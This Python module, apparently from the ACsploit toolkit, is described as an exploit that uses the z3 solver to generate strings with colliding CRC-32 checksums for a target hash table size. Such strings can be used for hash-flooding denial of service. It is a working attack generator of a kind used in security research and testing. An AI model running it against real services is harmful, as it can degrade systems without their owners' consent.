import z3
from acsploit.options import Options
from .z3_common import get_collisions


options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('length', 10, 'Length of strings to create')
options.add_option('hash_table_size', 0xffffffff, 'Size of target hash table')
options.add_option('target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)',
                   ['image', 'preimage'])
options.add_option('target', 'hello', 'Image or preimage of desired hash value')

DESCRIPTION = 'Produces hash collisions for the CRC-32 checksum function. ' \
              '\n\n  ' \
              'This exploit works by using z3 to "solve" for hash collisions. An implementation of the CRC-32 ' \
              'checksum for z3 is used to generate a constraint system that z3 solves to find colliding hash inputs.'

NO_INPUT = True


def run(output):
    ret = get_collisions(z3crc32, options['target'], options['target_type'], options['length'],
                         options['n_collisions'], options['hash_table_size'])
    output.output(ret)


def z3crc32(bytes, hash_table_size):  # computes the crc32 checksum in z3 format
    checksum = 0x00000000ffffffff
    for byte in bytes:
        checksum ^= z3.ZeroExt(56, byte) & 0xff
        for _ in range(8):  # test each bit in the byte we just xor'd in
            checksum = z3.If(checksum & 1 == z3.BitVecVal(1, 64),
                             z3.LShR(checksum, 1) ^ 0xedb88320,  # the binary representation of the CRC-32 polynomial
                             z3.LShR(checksum, 1))
    return (checksum ^ 0xffffffff) % hash_table_size
